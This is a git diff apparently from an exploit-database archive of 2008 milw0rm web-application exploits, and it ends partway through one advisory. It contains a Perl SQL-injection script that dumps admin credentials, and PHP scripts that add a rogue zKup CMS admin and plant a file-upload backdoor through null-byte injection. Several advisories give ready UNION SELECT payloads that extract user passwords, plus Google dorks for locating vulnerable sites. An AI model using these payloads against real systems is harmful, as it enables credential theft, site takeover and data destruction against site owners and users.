+if(!$url)
+{
+header();
+usage();
+exit;
+}
+if($url !~ /\//){$url = $url."/";}
+if($url !~ /http:\/\//){$url = "http://".$url;}
+$vul = "/shop/detail.php?id=-1%27union/**/select/**/0,1,2,3,CoNcAt(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,pass,0x3c656e64706173733e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,20/**/from/**/admin/*";
+sub Exploit()
+{
+$requestpage = $url.$vul;
+print "Requesting Page is ".$url."\n";
+ 
+my $req  = HTTP::Request->new("POST",$requestpage);
+$ua = LWP::UserAgent->new;
+$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
+$req->referer($url);
+$req->referer("http://IRCRASH.COM");
+$req->content_type('application/x-www-form-urlencoded');
+$req->header("content-length" => $contlen);
+$req->content($poststring);
+ 
+$response = $ua->request($req);
+$content = $response->content;
+$header = $response->headers_as_string();
+ 
+#Debug Modus delete # at beginning of next line
+#print $content;
+ 
+@name = split(/Login:/,$content);
+$name = @name[1];
+@name = split(/<enduser>/,$name);
+$name = @name[0];
+ 
+@password = split(/Password:/,$content);
+$password = @password[1];
+@password = split(/<endpass>/,$password);
+$password = @password[0];
+
+if(!$name && !$password)
+{
+print "\n\n";
+print "[-] Exploit failed ! :(\n\n";
+exit;
+}
+# Dr.Crash - IRCRASH - Expoit - Hack - Hacking - Hacker - Cracker - Crash - Iran
+print "Username: ".$name."\n";
+print "Password: " .$password."\n\n";
+print "[+] To Be Done SuccessFully\n\n";
+print "Crack Password And Login In : $url/admin/\n";
+print "Enjoy My friend .....\n";
+ 
+}
+ 
+#Starting;
+print "
+****************************************************
+*Affiliate Market Ver.0.1BETA Sql Injection exploit*
+****************************************************
+*AUTHOR : IRCRASH                                  *
+*Discovered by : Dr.Crash                          *
+*Exploited by : Dr.Crash                           *
+*Our Site : IRCRASH.COM                            *
+****************************************************";
+print "\n\nExploiting...\n";
+Exploit();
+
+# milw0rm.com [2008-02-14]
diff --git a/platforms/php/webapps/5219.php b/platforms/php/webapps/5219.php
index ae3861170..236e2dc48 100755
--- a/platforms/php/webapps/5219.php
+++ b/platforms/php/webapps/5219.php
@@ -1,55 +1,55 @@
-#!/usr/bin/php
-<?php
-/*
- * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (add admin)
- * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
- * Date:    03-08-2008
- * Conditions: None.
- *
- * This exploit add a new zKup admin.
- *
- */
-
-print "\n";
-print "   zKup CMS v2.0 <= v2.3 0-day exploit (add admin)\n";
-print "       by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";
-
-if($argc<4) { print "usage: php zkup2_admin_exploit.php <url> <login> <passwd>\n   eg: php zkup2_admin_exploit.php http://127.0.0.1/votresite/ real p4ssw0rd";exit(-1); }
-$url = $argv[1];
-$log = $argv[2];
-$pas = $argv[3];
-
-$postit = "action=ajout&login=$log&mdp=$pas&mdp2=$pas&lvl=9";
-
-print "[*] sending evil c0de ... ";
-if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n";
-else print "failed.\n";
-
-function post($url,$data,$get=1)
-{
-	$result = '';
-	preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
-	$host = $info[1];
-	$page = $info[2];
-	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
-	
-	$req  = "POST $page HTTP/1.1\r\n";
-	$req .= "Host: $host\r\n";
-	$req .= "User-Agent: Mozilla Firefox\r\n";
-	$req .= "Connection: close\r\n";
-	$req .= "Content-type: application/x-www-form-urlencoded\r\n";
-	$req .= "Content-length: ".strlen( $data )."\r\n";
-	$req .= "\r\n";
-	$req .= $data."\r\n";
-
-	fputs($fp,$req);
-	
-	if($get) while(!feof($fp)) $result .= fgets($fp,128);
-	
-	fclose($fp);
-	return $result;
-}
-
-?>
-
-# milw0rm.com [2008-03-07]
+#!/usr/bin/php
+<?php
+/*
+ * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (add admin)
+ * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
+ * Date:    03-08-2008
+ * Conditions: None.
+ *
+ * This exploit add a new zKup admin.
+ *
+ */
+
+print "\n";
+print "   zKup CMS v2.0 <= v2.3 0-day exploit (add admin)\n";
+print "       by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";
+
+if($argc<4) { print "usage: php zkup2_admin_exploit.php <url> <login> <passwd>\n   eg: php zkup2_admin_exploit.php http://127.0.0.1/votresite/ real p4ssw0rd";exit(-1); }
+$url = $argv[1];
+$log = $argv[2];
+$pas = $argv[3];
+
+$postit = "action=ajout&login=$log&mdp=$pas&mdp2=$pas&lvl=9";
+
+print "[*] sending evil c0de ... ";
+if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n";
+else print "failed.\n";
+
+function post($url,$data,$get=1)
+{
+	$result = '';
+	preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
+	$host = $info[1];
+	$page = $info[2];
+	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
+	
+	$req  = "POST $page HTTP/1.1\r\n";
+	$req .= "Host: $host\r\n";
+	$req .= "User-Agent: Mozilla Firefox\r\n";
+	$req .= "Connection: close\r\n";
+	$req .= "Content-type: application/x-www-form-urlencoded\r\n";
+	$req .= "Content-length: ".strlen( $data )."\r\n";
+	$req .= "\r\n";
+	$req .= $data."\r\n";
+
+	fputs($fp,$req);
+	
+	if($get) while(!feof($fp)) $result .= fgets($fp,128);
+	
+	fclose($fp);
+	return $result;
+}
+
+?>
+
+# milw0rm.com [2008-03-07]
diff --git a/platforms/php/webapps/5220.php b/platforms/php/webapps/5220.php
index f27d3a7bd..276f2d498 100755
--- a/platforms/php/webapps/5220.php
+++ b/platforms/php/webapps/5220.php
@@ -1,94 +1,94 @@
-#!/usr/bin/php
-<?php
-/*
- * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (upload)
- * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
- * Date:    03-08-2008
- * Conditions: PHP Version, magic_quotes_gpc=Off
- *
- * This exploit spawn a php uploader in your victim's
- * server.
- *
- * Okay, you may need explanations:
- *
- * First, we can use administration without being admin
- * (see ./admin/configuration/modifier.php)
- *
- * Then, when we add an admin, it is saved in a php file,
- * named "./fichiers/config.php".
- * A vuln is present when the script controls $login value,
- * because it use this regex: #^[a-zA-Z0-9]+$#
- * in order to see if it's alphanumerical.
- * I bypassed this regex using a NULL POISON BYTE (%00),
- * and writing my upload script just after.
- * I finally put some lines in order not to
- * corrupt config.php.
- *
- */
-
-print "\n";
-print "   zKup CMS v2.0 <= v2.3 0-day exploit (upload)\n";
-print "       by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";
-
-if($argc<2) { print "usage: php zkup2_upload_exploit.php <url>\n   eg: php zkup2_upload_exploit.php http://127.0.0.1/votresite/";exit(-1); }
-$url = $argv[1];
-
-$code = '
-if(isset($_POST[\'upload\']))
-{
-    if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) exit("<center>Error (move_uploaded_file)</center>");
-    else echo "<center>File uploaded</center>";
-}
-if($_GET[\'up\']==1)
-{
-?>
-<form method="post" enctype="multipart/form-data">
-<center>
-<input type="file" name="file">
-<input type="submit" name="upload" value="Upload">
-</center>
-</form>
-<?php
-}
-';
-$code = urlencode($code);
-
-/* Not to compromise config.php work */
-$restore = array();
-$restore[0] = 'admin'.rand(100,200).'%00","mdp"=>"436ae61e82a236bd4771e184a556bf65","lvl"=>9);';
-$restore[1] = '$tAdmin[] = array("login"=> "admin'.rand(200,300);
-
-$postit = "action=ajout&login=$restore[0]$code$restore[1]&mdp=real&mdp2=real&lvl=9";
-
-print "[*] sending evil c0de ... ";
-if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n[*] upload script: ".$url."fichiers/config.php?up=1\n";
-else print "failed.\n";
-
-function post($url,$data,$get=1)
-{
-	$result = '';
-	preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
-	$host = $info[1];
-	$page = $info[2];
-	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
-	
-	$req  = "POST $page HTTP/1.1\r\n";
-	$req .= "Host: $host\r\n";
-	$req .= "User-Agent: Mozilla Firefox\r\n";
-	$req .= "Connection: close\r\n";
-	$req .= "Content-type: application/x-www-form-urlencoded\r\n";
-	$req .= "Content-length: ".strlen( $data )."\r\n";
-	$req .= "\r\n";
-	$req .= $data."\r\n";
-
-	fputs($fp,$req);
-	
-	if($get) while(!feof($fp)) $result .= fgets($fp,128);
-	
-	fclose($fp);
-	return $result;
-}
-
-?>
-
-# milw0rm.com [2008-03-07]
+#!/usr/bin/php
+<?php
+/*
+ * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (upload)
+ * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
+ * Date:    03-08-2008
+ * Conditions: PHP Version, magic_quotes_gpc=Off
+ *
+ * This exploit spawn a php uploader in your victim's
+ * server.
+ *
+ * Okay, you may need explanations:
+ *
+ * First, we can use administration without being admin
+ * (see ./admin/configuration/modifier.php)
+ *
+ * Then, when we add an admin, it is saved in a php file,
+ * named "./fichiers/config.php".
+ * A vuln is present when the script controls $login value,
+ * because it use this regex: #^[a-zA-Z0-9]+$#
+ * in order to see if it's alphanumerical.
+ * I bypassed this regex using a NULL POISON BYTE (%00),
+ * and writing my upload script just after.
+ * I finally put some lines in order not to
+ * corrupt config.php.
+ *
+ */
+
+print "\n";
+print "   zKup CMS v2.0 <= v2.3 0-day exploit (upload)\n";
+print "       by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";
+
+if($argc<2) { print "usage: php zkup2_upload_exploit.php <url>\n   eg: php zkup2_upload_exploit.php http://127.0.0.1/votresite/";exit(-1); }
+$url = $argv[1];
+
+$code = '
+if(isset($_POST[\'upload\']))
+{
+    if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) exit("<center>Error (move_uploaded_file)</center>");
+    else echo "<center>File uploaded</center>";
+}
+if($_GET[\'up\']==1)
+{
+?>
+<form method="post" enctype="multipart/form-data">
+<center>
+<input type="file" name="file">
+<input type="submit" name="upload" value="Upload">
+</center>
+</form>
+<?php
+}
+';
+$code = urlencode($code);
+
+/* Not to compromise config.php work */
+$restore = array();
+$restore[0] = 'admin'.rand(100,200).'%00","mdp"=>"436ae61e82a236bd4771e184a556bf65","lvl"=>9);';
+$restore[1] = '$tAdmin[] = array("login"=> "admin'.rand(200,300);
+
+$postit = "action=ajout&login=$restore[0]$code$restore[1]&mdp=real&mdp2=real&lvl=9";
+
+print "[*] sending evil c0de ... ";
+if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n[*] upload script: ".$url."fichiers/config.php?up=1\n";
+else print "failed.\n";
+
+function post($url,$data,$get=1)
+{
+	$result = '';
+	preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
+	$host = $info[1];
+	$page = $info[2];
+	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
+	
+	$req  = "POST $page HTTP/1.1\r\n";
+	$req .= "Host: $host\r\n";
+	$req .= "User-Agent: Mozilla Firefox\r\n";
+	$req .= "Connection: close\r\n";
+	$req .= "Content-type: application/x-www-form-urlencoded\r\n";
+	$req .= "Content-length: ".strlen( $data )."\r\n";
+	$req .= "\r\n";
+	$req .= $data."\r\n";
+
+	fputs($fp,$req);
+	
+	if($get) while(!feof($fp)) $result .= fgets($fp,128);
+	
+	fclose($fp);
+	return $result;
+}
+
+?>
+
+# milw0rm.com [2008-03-07]
diff --git a/platforms/php/webapps/5244.txt b/platforms/php/webapps/5244.txt
index 7f08f9a94..8321ca950 100755
--- a/platforms/php/webapps/5244.txt
+++ b/platforms/php/webapps/5244.txt
@@ -1,31 +1,31 @@
-##########################################
-#
-# eXV2 Module bamaGalerie 3.03 SQL Injection
-#
-# download=http://www.exv2-filecenter.de/modules/mydownloads/singlefile.php?lid=9
-#
-##########################################
-#
-##AUTHOR : S@BUN
-#
-####HOME : http://www.milw0rm.com/author/1334
-#
-####MAÄ°L : hackturkiye.hackturkiye@gmail.com
-#
-###########################################
-#
-# DORKS 1 : allinurl :"modules/bamagalerie3"
-# DORKS 2 : allinurl :"modules/bamagalerie"
-#
-###########################################
-EXPLOIT :
-
-viewcat.php?cid=-9999999/**/union/**/select/**/0,1,2,3,concat(uname,0x3a,pass),5,6/**/from/**/e_xoops_users/*
-
-###########################################
-##################S@BUN####################
-###########################################
-#####hackturkiye.hackturkiye@gmail.com#####
-###########################################
-
-# milw0rm.com [2008-03-12]
+##########################################
+#
+# eXV2 Module bamaGalerie 3.03 SQL Injection
+#
+# download=http://www.exv2-filecenter.de/modules/mydownloads/singlefile.php?lid=9
+#
+##########################################
+#
+##AUTHOR : S@BUN
+#
+####HOME : http://www.milw0rm.com/author/1334
+#
+####MAÄ°L : hackturkiye.hackturkiye@gmail.com
+#
+###########################################
+#
+# DORKS 1 : allinurl :"modules/bamagalerie3"
+# DORKS 2 : allinurl :"modules/bamagalerie"
+#
+###########################################
+EXPLOIT :
+
+viewcat.php?cid=-9999999/**/union/**/select/**/0,1,2,3,concat(uname,0x3a,pass),5,6/**/from/**/e_xoops_users/*
+
+###########################################
+##################S@BUN####################
+###########################################
+#####hackturkiye.hackturkiye@gmail.com#####
+###########################################
+
+# milw0rm.com [2008-03-12]
diff --git a/platforms/php/webapps/5252.txt b/platforms/php/webapps/5252.txt
index aa6852953..47c4f67fa 100755
--- a/platforms/php/webapps/5252.txt
+++ b/platforms/php/webapps/5252.txt
@@ -1,35 +1,35 @@
-##########################################
-#
-# Powered by eXV2 MyAnnonces 1.8 SQL Injection
-#
-##########################################
-#
-##AUTHOR : S@BUN
-#
-####HOME : http://www.milw0rm.com/author/1334
-#
-####MAÄ°L : hackturkiye.hackturkiye@gmail.com
-#
-###########################################
-#
-# DORK 1 : eXV2 MyAnnonces
-#
-###########################################
-EXPLOIT :
-
-modules/MyAnnonces/annonces-p-f.php?op=ImprAnn&lid=-9999999/**/union/**/select/**/pass,pass,uname,0x3a,0x3a,0x3a,0x3a,0,0,0,0x3a,0x3a,1/**/from/**/exv2_users/*where%20exv2_admin%201
-
-###########################################
-
-Category: eXV2 - Module
-myannonces 1.8
-Submit date; 2006/4/10
-Version : 1.8
-
-###########################################
-##################S@BUN####################
-###########################################
-#####hackturkiye.hackturkiye@gmail.com#####
-###########################################
-
-# milw0rm.com [2008-03-14]
+##########################################
+#
+# Powered by eXV2 MyAnnonces 1.8 SQL Injection
+#
+##########################################
+#
+##AUTHOR : S@BUN
+#
+####HOME : http://www.milw0rm.com/author/1334
+#
+####MAÄ°L : hackturkiye.hackturkiye@gmail.com
+#
+###########################################
+#
+# DORK 1 : eXV2 MyAnnonces
+#
+###########################################
+EXPLOIT :
+
+modules/MyAnnonces/annonces-p-f.php?op=ImprAnn&lid=-9999999/**/union/**/select/**/pass,pass,uname,0x3a,0x3a,0x3a,0x3a,0,0,0,0x3a,0x3a,1/**/from/**/exv2_users/*where%20exv2_admin%201
+
+###########################################
+
+Category: eXV2 - Module
+myannonces 1.8
+Submit date; 2006/4/10
+Version : 1.8
+
+###########################################
+##################S@BUN####################
+###########################################
+#####hackturkiye.hackturkiye@gmail.com#####
+###########################################
+
+# milw0rm.com [2008-03-14]
diff --git a/platforms/php/webapps/5253.txt b/platforms/php/webapps/5253.txt
index 26c5423cf..b3d5ec98b 100755
--- a/platforms/php/webapps/5253.txt
+++ b/platforms/php/webapps/5253.txt
@@ -1,36 +1,36 @@
-##########################################
-#
-# Powered by eXV2 eblog 1.2 SQL Injection
-#
-##########################################
-#
-##AUTHOR : S@BUN
-#
-####HOME : http://www.milw0rm.com/author/1334
-#
-####MAÄ°L : hackturkiye.hackturkiye@gmail.com
-#
-###########################################
-#
-# DORKS 1 : allinurl :"modules/eblog"
-#
-# DORK 2 : allinurl :"exoops/modules/eblog"
-#
-###########################################
-EXPLOIT :
-
-modules/eblog/index.php?blog_id=-9999999/**/union/**/select/**/concat(uname,0x3a,pass)/**/from/**/e_xoops_users/*where%20exv2_admin%201
-
-###########################################
-
-category: eXV2 - Module 1.2
-Submit date: 2008/2/22
-Version :1.2
-
-###########################################
-##################S@BUN####################
-###########################################
-#####hackturkiye.hackturkiye@gmail.com#####
-###########################################
-
-# milw0rm.com [2008-03-14]
+##########################################
+#
+# Powered by eXV2 eblog 1.2 SQL Injection
+#
+##########################################
+#
+##AUTHOR : S@BUN
+#
+####HOME : http://www.milw0rm.com/author/1334
+#
+####MAÄ°L : hackturkiye.hackturkiye@gmail.com
+#
+###########################################
+#
+# DORKS 1 : allinurl :"modules/eblog"
+#
+# DORK 2 : allinurl :"exoops/modules/eblog"
+#
+###########################################
+EXPLOIT :
+
+modules/eblog/index.php?blog_id=-9999999/**/union/**/select/**/concat(uname,0x3a,pass)/**/from/**/e_xoops_users/*where%20exv2_admin%201
+
+###########################################
+
+category: eXV2 - Module 1.2
+Submit date: 2008/2/22
+Version :1.2
+
+###########################################
+##################S@BUN####################
+###########################################
+#####hackturkiye.hackturkiye@gmail.com#####
+###########################################
+
+# milw0rm.com [2008-03-14]
diff --git a/platforms/php/webapps/5254.txt b/platforms/php/webapps/5254.txt
index a9d52f082..7f10940dd 100755
--- a/platforms/php/webapps/5254.txt
+++ b/platforms/php/webapps/5254.txt
@@ -1,37 +1,37 @@
-##########################################
-#
-# Powered by eXV2 Viso 2.03 SQL Injection
-#
-##########################################
-#
-##AUTHOR : S@BUN
-#
-####HOME : http://www.milw0rm.com/author/1334
-#
-####MAÄ°L : hackturkiye.hackturkiye@gmail.com
-#
-###########################################
-#
-# DORKS 1 : allinurl :"modules/viso"
-#
-###########################################
-EXPLOIT 1 :
-
-modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201
-
-EXPLOIT 2 :
-
-modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass,pass/**/from/**/exv2_users/*where%20exv2_admin%201
-
-###########################################
-Viso 2.03
-Submit date: 2006/8/10
-Homepage: www.exv2.de
-Version : 2.03
-###########################################
-##################S@BUN####################
-###########################################
-#####hackturkiye.hackturkiye@gmail.com#####
-###########################################
-
-# milw0rm.com [2008-03-14]
+##########################################
+#
+# Powered by eXV2 Viso 2.03 SQL Injection
+#
+##########################################
+#
+##AUTHOR : S@BUN
+#
+####HOME : http://www.milw0rm.com/author/1334
+#
+####MAÄ°L : hackturkiye.hackturkiye@gmail.com
+#
+###########################################
+#
+# DORKS 1 : allinurl :"modules/viso"
+#
+###########################################
+EXPLOIT 1 :
+
+modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201
+
+EXPLOIT 2 :
+
+modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass,pass/**/from/**/exv2_users/*where%20exv2_admin%201
+
+###########################################
+Viso 2.03
+Submit date: 2006/8/10
+Homepage: www.exv2.de
+Version : 2.03
+###########################################
+##################S@BUN####################
+###########################################
+#####hackturkiye.hackturkiye@gmail.com#####
+###########################################
+
+# milw0rm.com [2008-03-14]
diff --git a/platforms/php/webapps/5255.txt b/platforms/php/webapps/5255.txt
index 32fb115c3..bc3d3ecff 100755
--- a/platforms/php/webapps/5255.txt
+++ b/platforms/php/webapps/5255.txt
@@ -1,36 +1,36 @@
-##########################################
-#
-# Powered by eXV2 WebChat 1.60 SQL Injection
-#
-##########################################
-#
-##AUTHOR : S@BUN
-#
-####HOME : http://www.milw0rm.com/author/1334
-#
-####MAÄ°L : hackturkiye.hackturkiye@gmail.com
-#
-###########################################
-#
-# DORKS 1 : allinurl :"modules/WebChat"
-#
-###########################################
-EXPLOIT 1 :
-
-modules/WebChat/index.php?roomid=-9999999/**/union/**/select/**/0,uname,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201
-
-###########################################
-WebChat 1.60
-Submit date: 2006/6/13
-Homepage: www.exv2.de
-Version : 1.60
-Downloads : 561
-Filesize : 79.76 KB
-Supported platforms : eXV2
-###########################################
-##################S@BUN####################
-###########################################
-#####hackturkiye.hackturkiye@gmail.com#####
-###########################################
-
-# milw0rm.com [2008-03-14]
+##########################################
+#
+# Powered by eXV2 WebChat 1.60 SQL Injection
+#
+##########################################
+#
+##AUTHOR : S@BUN
+#
+####HOME : http://www.milw0rm.com/author/1334
+#
+####MAÄ°L : hackturkiye.hackturkiye@gmail.com
+#
+###########################################
+#
+# DORKS 1 : allinurl :"modules/WebChat"
+#
+###########################################
+EXPLOIT 1 :
+
+modules/WebChat/index.php?roomid=-9999999/**/union/**/select/**/0,uname,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201
+
+###########################################
+WebChat 1.60
+Submit date: 2006/6/13
+Homepage: www.exv2.de
+Version : 1.60
+Downloads : 561
+Filesize : 79.76 KB
+Supported platforms : eXV2
+###########################################
+##################S@BUN####################
+###########################################
+#####hackturkiye.hackturkiye@gmail.com#####
+###########################################
+
+# milw0rm.com [2008-03-14]
diff --git a/platforms/php/webapps/5334.txt b/platforms/php/webapps/5334.txt
index aa480b2ae..d1fc4dc7a 100755
--- a/platforms/php/webapps/5334.txt
+++ b/platforms/php/webapps/5334.txt
@@ -1,22 +1,22 @@
-#####################################################################################
-#                                                                                   #
-#AUTHOR : IRCRASH (Dr.Crash)                                                        #
-#                                                                                   #
-#Script Download : http://en.fascript.com/en.faphoto.zip                            #
-#                                                                                   #
-#Injection Adress :  http://Sitename/faname/show.php?id=<SqL Code>                  #
-#                                                                                   #
-#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
-#       You can open this file with load_file Function in mysql and see admin       #
-#       Username and password in Page Source                                        #
-#                                                                                   #
-# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
-#                                                                                   #
-#SQL Code for Read pconfig.php : 999999%27union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),2,3,4,5,6/*
-#                                                                                   #
-#                        Our site : HTTP://IRCRASH.COM                              #
-#                                                                                   #
-#                                 Tnx God                                           #
-#####################################################################################
-
-# milw0rm.com [2008-04-01]
+#####################################################################################
+#                                                                                   #
+#AUTHOR : IRCRASH (Dr.Crash)                                                        #
+#                                                                                   #
+#Script Download : http://en.fascript.com/en.faphoto.zip                            #
+#                                                                                   #
+#Injection Adress :  http://Sitename/faname/show.php?id=<SqL Code>                  #
+#                                                                                   #
+#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
+#       You can open this file with load_file Function in mysql and see admin       #
+#       Username and password in Page Source                                        #
+#                                                                                   #
+# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
+#                                                                                   #
+#SQL Code for Read pconfig.php : 999999%27union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),2,3,4,5,6/*
+#                                                                                   #
+#                        Our site : HTTP://IRCRASH.COM                              #
+#                                                                                   #
+#                                 Tnx God                                           #
+#####################################################################################
+
+# milw0rm.com [2008-04-01]
diff --git a/platforms/php/webapps/5384.txt b/platforms/php/webapps/5384.txt
index b29b21411..95780660b 100755
--- a/platforms/php/webapps/5384.txt
+++ b/platforms/php/webapps/5384.txt
@@ -1,37 +1,37 @@
---==+================================================================================+==--
---==+	         Prozilla Top 100 1.2 Arbitrary Delete Stats Vulnerability           +==--
---==+================================================================================+==--
-
-
-
-Discovered By: t0pP8uZz & xprog
-Discovered On: 
-Script Download: http://prozilla.net
-DORK: inurl:"list.php?c=" top 100
-Vendor Has Not Been Notified!
-
-
-DESCRIPTION: 
-Prozilla Top 100 1.2 is vulnerable due to very bad validating on there $_GET urls.
-this allows the remote attacker to delete the stats of a user of choice.
-therefor pushing which ever site they want to the top of the list.
-
-
-Vulnerbility:
-http://site.com/delete.php?s=[id]
-
-
-NOTE/TIP: 
-replace [id] with the actual site id you want to reset the stats for.
-you must first regster and login for this too work. note that it will delete your user account too.
-
-
-GREETZ: milw0rm.com, h4ck-y0u.org,  CipherCrew!
-
-
-
---==+================================================================================+==--
---==+	         Prozilla Top 100 1.2 Arbitrary Delete Stats Vulnerability           +==--
---==+================================================================================+==--
-
-# milw0rm.com [2008-04-06]
+--==+================================================================================+==--
+--==+	         Prozilla Top 100 1.2 Arbitrary Delete Stats Vulnerability           +==--
+--==+================================================================================+==--
+
+
+
+Discovered By: t0pP8uZz & xprog
+Discovered On: 
+Script Download: http://prozilla.net
+DORK: inurl:"list.php?c=" top 100
+Vendor Has Not Been Notified!
+
+
+DESCRIPTION: 
+Prozilla Top 100 1.2 is vulnerable due to very bad validating on there $_GET urls.
+this allows the remote attacker to delete the stats of a user of choice.
+therefor pushing which ever site they want to the top of the list.
+
+
+Vulnerbility:
+http://site.com/delete.php?s=[id]
+
+
+NOTE/TIP: 
+replace [id] with the actual site id you want to reset the stats for.
+you must first regster and login for this too work. note that it will delete your user account too.
+
+
+GREETZ: milw0rm.com, h4ck-y0u.org,  CipherCrew!
+
+
+
+--==+================================================================================+==--
+--==+	         Prozilla Top 100 1.2 Arbitrary Delete Stats Vulnerability           +==--
+--==+================================================================================+==--
+
+# milw0rm.com [2008-04-06]
diff --git a/platforms/php/webapps/5465.txt b/platforms/php/webapps/5465.txt
index cb8d8a38a..6c0343b85 100755
--- a/platforms/php/webapps/5465.txt
+++ b/platforms/php/webapps/5465.txt
@@ -1,39 +1,39 @@
---==+================================================================================+==--
---==+          2532|Gigs <= 1.2.2 Arbitrary Remote Database Backup/Download          +==--
---==+================================================================================+==--
-
-
-
-Discovered By: t0pP8uZz
-Discovered On: 18 April 2008
-Script Download: http://www.2532gigs.com/?download=2532Gigs_stable
-DORK: N/A
-
-Vendor Has Not Been Notified!
-
-
-DESCRIPTION: 
-2532|Gigs does not validate a user in "backup.php" this means any user can visit and backup.
-of course some GET variables are being used but thats all.
-
-running the below url/path on a server that is running 2532|Gigs will make a backup of the database
-and save it too "http://site.com/2532gigs/backup.sql"
-
-
-Vulnerability:
-http://site.com/2532gigs/backup.php?export=1
-
-
-NOTE/TIP: 
-you must be logged in to a ordinary user account for this too work!
-
-
-GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !
-
-
-
---==+================================================================================+==--
---==+          2532|Gigs <= 1.2.2 Arbitrary Remote Database Backup/Download          +==--
---==+================================================================================+==--
-
-# milw0rm.com [2008-04-18]
+--==+================================================================================+==--
+--==+          2532|Gigs <= 1.2.2 Arbitrary Remote Database Backup/Download          +==--
+--==+================================================================================+==--
+
+
+
+Discovered By: t0pP8uZz
+Discovered On: 18 April 2008
+Script Download: http://www.2532gigs.com/?download=2532Gigs_stable
+DORK: N/A
+
+Vendor Has Not Been Notified!
+
+
+DESCRIPTION: 
+2532|Gigs does not validate a user in "backup.php" this means any user can visit and backup.
+of course some GET variables are being used but thats all.
+
+running the below url/path on a server that is running 2532|Gigs will make a backup of the database
+and save it too "http://site.com/2532gigs/backup.sql"
+
+
+Vulnerability:
+http://site.com/2532gigs/backup.php?export=1
+
+
+NOTE/TIP: 
+you must be logged in to a ordinary user account for this too work!
+
+
+GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !
+
+
+
+--==+================================================================================+==--
+--==+          2532|Gigs <= 1.2.2 Arbitrary Remote Database Backup/Download          +==--
+--==+================================================================================+==--
+
+# milw0rm.com [2008-04-18]
diff --git a/platforms/php/webapps/5664.txt b/platforms/php/webapps/5664.txt
index 129c5d5b7..dad96d1f9 100755
--- a/platforms/php/webapps/5664.txt
+++ b/platforms/php/webapps/5664.txt
@@ -1,63 +1,63 @@
-################ Viva IsLaM ################
-#   (sql / xss ) Multiple Vulnerabilities
-#     
-#   weblosning   V1, V2,V3,V4 (( index2.php id ))                              
-############################################
-## Script Name : Weblosning (( V1, V2,V3,V4 ))
-##
-## Demo :   http://www.simpelside.dk/
-############################################
-##
-## AuTh0r: Mr.SQL
-## H0ME  : WwW.PaL-HaCkEr.CoM
-## Email : SQL@Hotmail.it
-## 
-############################################
-##      (( V1 ::V2 :: V3 :: V4 ))
-##
-## D0rk :  allinurl: "index2.php" mainid
-##
-====>>>   SQL ::::::::
-
-       V1  =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web1_brugere/*
-         
-       V2  =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web2_brugere/*
-         
-       V3 =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web3_brugere/*
-          
-       V4 =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web4_brugere/*
-
-
-## Note ## plz use all exploits to have good results , the sites have difrrent versions , so you must test all tables name on targets the ,table name like this [  web1_brugere , web2_brugere , web3_brugere , web4_brugere ]  to know script version 
- 
-
-## Video How to use tables  :)       http://www.4shared.com/file/48485309/1fa3df0/weblosning.html
-
-
-##  :: liVe DeM0 ::
-
-
-version (1)  http://www.simpelside.dk/web1/index2.php?id=-4+union+select+1,2,concat_ws(0x3a3a,brugernavn,adgangskode),4,5,6+from+web1_brugere/*
-
